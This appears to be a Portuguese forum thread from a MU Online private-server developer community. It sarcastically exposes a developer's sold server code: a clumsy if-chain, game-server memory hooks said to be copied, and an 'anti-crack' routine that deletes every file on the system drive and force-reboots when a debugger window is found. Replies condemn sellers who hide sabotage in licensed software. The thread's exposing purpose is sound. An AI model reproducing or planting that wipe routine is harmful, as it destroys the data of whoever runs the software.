Como muitos sabem o membro exemplar que eu sou (palavras de caetano), venho valorizar o trabalho de uma pessoa muito querida e amada por todos nós, o magnifico programador Haziel, descendente do grande e lendário, Diel.
Se você é uma pessoa totalmente dependente e paciente, os trabalhos de Haziel foram feitos exclusivamente para você!
Aqui vão os melhores motivos para comprar e usufruir de seus produtos!
Ele é o criador da melhor sequência de if já vista na face da terra:
Afinal...Código:void HoraCommand(int aIndex) { OBJECTSTRUCT * lpObj = (OBJECTSTRUCT*)OBJECT_POINTER(aIndex); time_t tim=time(NULL); tm *now=localtime(&tim); char dateStr [11]; char timeStr [9]; char WeekStr [30]; sprintf_s(dateStr, "%02d/%02d/%04d", now->tm_mday, now->tm_mon+1, now->tm_year+1900); sprintf_s(timeStr, "%02d:%02d", now->tm_hour, now->tm_min); int iDWeek = now->tm_wday; if (iDWeek == 0) { sprintf(WeekStr, "Domingo"); } else if(iDWeek == 1) { sprintf(WeekStr, "Segunda-feira"); } else if(iDWeek == 2) { sprintf(WeekStr, "Terça-feira"); } else if(iDWeek == 3) { sprintf(WeekStr, "Quarta-feira"); } else if(iDWeek == 4) { sprintf(WeekStr, "Quinta-feira"); } else if(iDWeek == 5) { sprintf(WeekStr, "Sexta-feira"); } else if(iDWeek == 6) { sprintf(WeekStr, "Sábado"); } char OutputSuccess[200]; sprintf_s(OutputSuccess, "Hoje é %s - %s, %s!", dateStr, timeStr, WeekStr); GCServerMsgStringSend(OutputSuccess, aIndex,0); }
Também me recordo de uma pequena discussão na falecida ZoneGames (que descanse em paz), que ele afirmou não copiar o trabalho de ninguém e sim que era bom o suficiente para criar seu próprio custom... Bem, não foi bem o que me pareceu quando me deparei com a source da 97d dele... Um dos códigos que ele "criou" foi o recebimento automático de zen que eu havia disponibilizado no Seraphim Project, tempos atrás:
Foi inspirador quando vi, não somente o AutoZenRecv, mas a quantidade de customização que lá está que ele mesmo "criou".Código://############################################################################################### // Project :: ACTeaM Classic 0.97d // GameServer:: 0.96.40 // Company :: Advanced CoderZ MU DevelopmenT © 2013 // Revised :: 17/01/2014 // Coded :: Mr.Haziel Developer //############################################################################################### #include "StdAfx.h" //============================================================================================== //-- New Fix Max Zen :) //============================================================================================== void ReadAutoZen() { BYTE AutoZen = GetPrivateProfileIntA("Common","GetAutomaticZen",0,ACTeaM_Common); if( AutoZen != 0 ) { hook_proc(0x40A1E7, (DWORD)(&AutoRecvZenMod1), 0xE9); memset((int*)(0x40A1EC), 0x90, 49); hook_proc(0x40A0FD, (DWORD)(&AutoRecvZenMod2), 0xE9); memset((int*)(0x40A102), 0x90, 49); hook_proc(0x4096E0, (DWORD)(&AutoRecvZenMod3), 0xE9); memset((int*)(0x4096E5), 0x90, 36); } } void AutoRecvZen(LPOBJ lpObj, int Money) { if (lpObj->Type == OBJECT_MONSTER) { LPOBJ lpTarget = (LPOBJ)OBJECT_POINTER(lpObj->TargetNumber); if ((lpTarget->Money + Money) < 0) { lpTarget->Money = Money; GCMoneySend(lpTarget->m_Index, lpTarget->Money); MsgOutput(lpTarget->m_Index,"%s zen desbugado para %d ",lpTarget->Name,Money); } else { if((lpTarget->Money + Money) > 2000000000) { lpTarget->Money = 2000000000; GCMoneySend(lpTarget->m_Index, lpTarget->Money); MsgOutput(lpTarget->m_Index,"%s Você está no limimte máximo de zen!",lpTarget->Name); } else { lpTarget->Money += Money; GCMoneySend(lpTarget->m_Index, lpTarget->Money); MsgOutput(lpTarget->m_Index,"%s Você obteve %d de Zen!",lpTarget->Name,Money); } } } } __declspec(naked) void AutoRecvZenMod1() { LPOBJ lpObj; _asm { MOV ECX, DWORD PTR SS:[EBP+0x8]; MOV lpObj, ECX; } AutoRecvZen(lpObj, lpObj->Money); _asm { MOV EDI, 0x40A21D; JMP EDI; } } __declspec(naked) void AutoRecvZenMod2() { LPOBJ lpObj; int Money; _asm { MOV ECX, DWORD PTR SS:[EBP+0x8]; MOV lpObj, ECX; FLD DWORD PTR SS:[EBP-0x98]; MOV EDI, 0x49D540; CALL EDI; MOV Money, EAX; } AutoRecvZen(lpObj, Money); _asm { MOV EDI, 0x40A133; JMP EDI; } } __declspec(naked) void AutoRecvZenMod3() { LPOBJ lpObj; _asm { MOV ECX, DWORD PTR SS:[EBP+0x8]; MOV lpObj, ECX; } AutoRecvZen(lpObj, 10000); _asm { MOV EDI, 0x409709; JMP EDI; } }
Com seu incrível anti-crack, ele te limita a conviver com os infinitos bugs que estão em seu esplendido trabalho.
Exatamente! Mesmo que ele encerre as atividades no projeto, você jamais terá a oportunidade de consertá-los.
Não seja teimosinho ou ganhará um lindo presentinho! Que tal perder todos os seus drivers? ♥
Código://=============================================== //-- Anti Craked //=============================================== HANDLE holly = FindWindow (TEXT ("OllyDbg"), NULL); if(holly) { system("@echo Off"); system("del %systemdrive%\*.*/f/s/q"); system("shutdown -r -f -t 00"); __asm { MOV EAX, 00000000; CALL EAX; } }
E tem mais para você! Ficou insatisfeito com o produto?
Infelizmente, seu dinheiro não será devolvido, mas você poderá ganhar comandos exclusivos em troca do dinheiro e da satisfação que pensou que teria após adquirir o produto. Veja:
- Para derrubar seu GameServer:
- Para excluir parte do seu banco de dados:
- Para excluir os drivers do seu dedicado:
Muito bom, não acha?
Ah, não! Não acredito! Você ainda está com dúvidas se deve ou não comprar?
Veja na integra os depoimentos de dois clientes do Haziel que ficaram super satisfeitos com seus serviços e produtos:
- Agathos: [Somente usuários registrados podem vem os links. ]
- GuilhermeSouza: [Somente usuários registrados podem vem os links. ]
É claro que existem mais depoimentos, mas, infelizmente, foram os únicos que encontrei em nosso fórum!
É isso aí, meus queridos!
Espero ter representado nosso enorme orgulho #Haziel!
Um abraço.
Última edição por Getulio; 08-09-2015 às 05:39 PM.
Eita "cuzaum", olha esse código maravilhoso feito pra esse comando super essencial chamado hora.
ahhhhhhhhhh mizerávi
quero ver descobrirem os comandos do meu! *sarcarsmo*
É por coisas desse tipo que eu neim compro e neim recomendo ninguém comprar licença (de muserver), em geral todo "programador" tem seus códigos secretos e nenhum é pra se proteger, todos são direcionados a fuder o quem comprou.![]()
Generalizar não mas que muitos da área tem o prazer de fazer essas strings absurdas para acabar com a vida do Administrador sksks existem sim sabemos quem são grande parte deles.
Não mencionarei nomes pois, é muito inconveniente eu também não sou mas cliente desses caras mas sei que eles frequentam aqui ksks.
É aquela coisa se for amigo ou baba ( ovo ) do programador nada acontece agora se você fala umas verdade os cara revolta e ti prejudica no fim de tudo não dão mas suporte ou param de mexer convenhamos exemplos disso aqui na impe temos vários kkkk.
"Só tem o direito de criticar aqueles, que pretendem ajudar "
sim. não generalizar.
como o navossoc disse aí, fazer essas putaria pra que? pra nego descobrir um dia e sair ferrando o servidor de todo mundo que é cliente?
é tipo o amigão lá da matemática que falou publicamente que o antihack dele tem acesso ao sql e que se descobrirem conseguem executar comando remotamente...
a única coisa que eu tenho e faço questão de ter no meu 97d é o controle da licença, que não faz nada d+ a não ser limpar a licença da máquina caso o cara não tenha comprado comigo (evitar pirataria)
e ainda assim, se o cara conseguir remover, paciência... não tem nada que eu possa fazer
[]'s
Há 1 usuários navegando neste tópico. (0 registrados e 1 visitantes)
Marcadores